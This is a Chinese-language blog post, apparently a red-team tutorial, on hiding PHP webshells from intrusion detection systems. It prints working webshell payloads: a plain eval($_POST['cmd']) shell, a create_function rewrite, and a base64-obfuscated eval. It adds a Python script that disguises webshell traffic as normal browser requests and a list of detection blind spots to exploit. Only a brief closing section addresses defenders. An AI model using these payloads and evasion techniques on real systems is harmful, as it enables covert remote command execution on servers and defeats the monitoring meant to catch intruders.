一、从日志中发现蛛丝马迹

有一次,我在一场红队演习中遇到了一道棘手的任务。目标公司部署了一套极为严密的入侵检测系统(IDS),甚至连Webshell的存在都能被快速检测到。作为攻击者,我需要反其道而行之,从防御的角度反推,找到在这套系统下隐藏Webshell的方法。

黑客示意图

了解防御机制

通常,入侵检测系统会通过以下方式来检测Webshell:

  1. 特征匹配:系统会通过已知的Webshell样本库进行比对,任何与样本库中编码、函数调用类似的代码都会被标记。
  2. 异常行为监测:例如,频繁的文件修改、调用系统命令等行为都会引起警报。
  3. 流量分析:分析HTTP请求的内容、编码、参数传递方式等,识别可疑请求。

理解了这些机制,我开始思考如何在攻击中绕过这些防御。

二、环境搭建:模拟真实战场

为了实现Webshell的免杀,我搭建了一个与目标公司相似的测试环境。包括Apache/Nginx服务器、PHP解析环境,以及常用的IDS工具如Snort、Suricata等。

环境配置

  1. 安装Web服务器:我选用了Apache服务器,模拟目标环境的配置。
  2. 配置IDS工具:Snort是个不错的选择,它支持实时流量分析与数据包记录。我在本地部署了一套,并导入了常见Webshell样本库。
  3. 日志查看工具:使用Splunk进行日志数据的聚合和分析,帮助识别特定攻击行为。

搭建完环境后,我可以在一个安全的沙箱中测试各种Webshell免杀技术,而不会对真实系统造成影响。

三、Payload构造的艺术

在构造免杀Webshell时,我首先想到了通过修改Webshell的代码结构来避开特征匹配。常见的PHP Webshell样本中,大量使用了evalsystem等函数,这些正是检测系统的关注点。

代码重构

基础Payload:

<pre><code class="language-php">&lt;?php

这是一个简单的PHP Webshell

eval($_POST[&#039;cmd&#039;]); ?&gt;</code></pre>

免杀重构:

<pre><code class="language-php">&lt;?php

我们把eval替换为更隐蔽的方式

$func = create_function(&#039;$code&#039;, &#039;return eval($code);&#039;); $func($_POST[&#039;cmd&#039;]); ?&gt;</code></pre>

通过使用create_function,我们避开了直接调用eval,从而提高了免杀能力。同时,通过进一步的代码混淆和加密传输,也可以提高Webshell的隐匿性。

四、流量伪装,迷惑侦测工具

为了进一步迷惑检测系统,我开始考虑如何在流量层面进行伪装。目标是让Webshell的流量看起来不像攻击。

使用HTTP头伪装

正常的Webshell请求大多会包含可疑的参数,比如cmdexecute,这些参数很容易被检测到。通过修改HTTP头信息,我们可以减少被识别的风险。

<pre><code class="language-python">import requests

url = &quot;http://target.com/shell.php&quot; headers = {

模拟合法用户请求

&quot;User-Agent&quot;: &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36&quot;, &quot;Referer&quot;: &quot;http://target.com/index.php&quot;, &quot;Content-Type&quot;: &quot;application/x-www-form-urlencoded&quot; }

cmd被替换为更隐蔽的参数

data = {&quot;action&quot;: &quot;ping&quot;, &quot;data&quot;: &quot;echo &#039;Hello World&#039;;&quot;}

response = requests.post(url, headers=headers, data=data) print(response.text)</code></pre>

黑客示意图

通过这样的方式,我们将攻击流量伪装成正常的用户请求,降低了被检测到的可能。

五、抗检测技术:攻防博弈

在一次模拟攻击中,我注意到即使经过了多层伪装,IDS仍然能够捕捉到异常的行为。这促使我进一步研究如何在代码级别进行改进。

黑客示意图

动态加载技术

Webshell中常用的函数调用正是检测的重灾区,所以我决定使用动态加载技术来隐藏关键函数。

<pre><code class="language-php">&lt;?php

动态加载关键函数

$invoke = base64_decode(&#039;ZXZhbA==&#039;); // &quot;eval&quot; $invoke($_POST[&#039;cmd&#039;]); ?&gt;</code></pre>

通过这种方式,即使IDS通过特征码识别,它也无法简单地通过字符串匹配发现eval函数的调用。结合流量伪装,可以极大地提高免杀的成功率。

六、发现盲点:防御的缺陷

在攻击的过程中,我也总结了一些防御系统的盲点。这些盲点往往是攻击者能够利用的地方。

缺乏动态行为分析

绝大多数防御系统只会对静态代码进行分析,而缺乏实时的动态行为监控。通过在Webshell中加入随机性和动态变化的行为,可以有效避开静态检测。

日志分析不够细致

很多时候,日志分析往往只关注特定的关键字和模式,而忽略了请求的整体行为和上下文。通过控制请求频率和模拟真实用户行为,可以让攻击更加隐蔽。

七、个人心得:攻防之道

在多次实战中,我深刻体会到,攻击与防御永远是一场博弈。作为攻击者,我们需要不断探索新的免杀技术,而作为防御者,则需要不断更新检测策略。

黑客示意图

攻击者的思维

  • 动态演变:永远不要对现有的方法感到满意,攻击技术需要不断发展。
  • 逆向思维:从防御的角度反推攻击手段,往往能发现新的突破口。

防御者的反思

  • 多层防护:单一的检测机制往往不够,结合多种技术手段才能有效防御。
  • 实时监控:静态分析需要结合动态监控,以便及时发现异常行为。

总之,无论是攻击还是防御,技术的创新和思维的灵活才是成功的关键。在这场没有终点的攻防之战中,每一步都是为了更高明的博弈。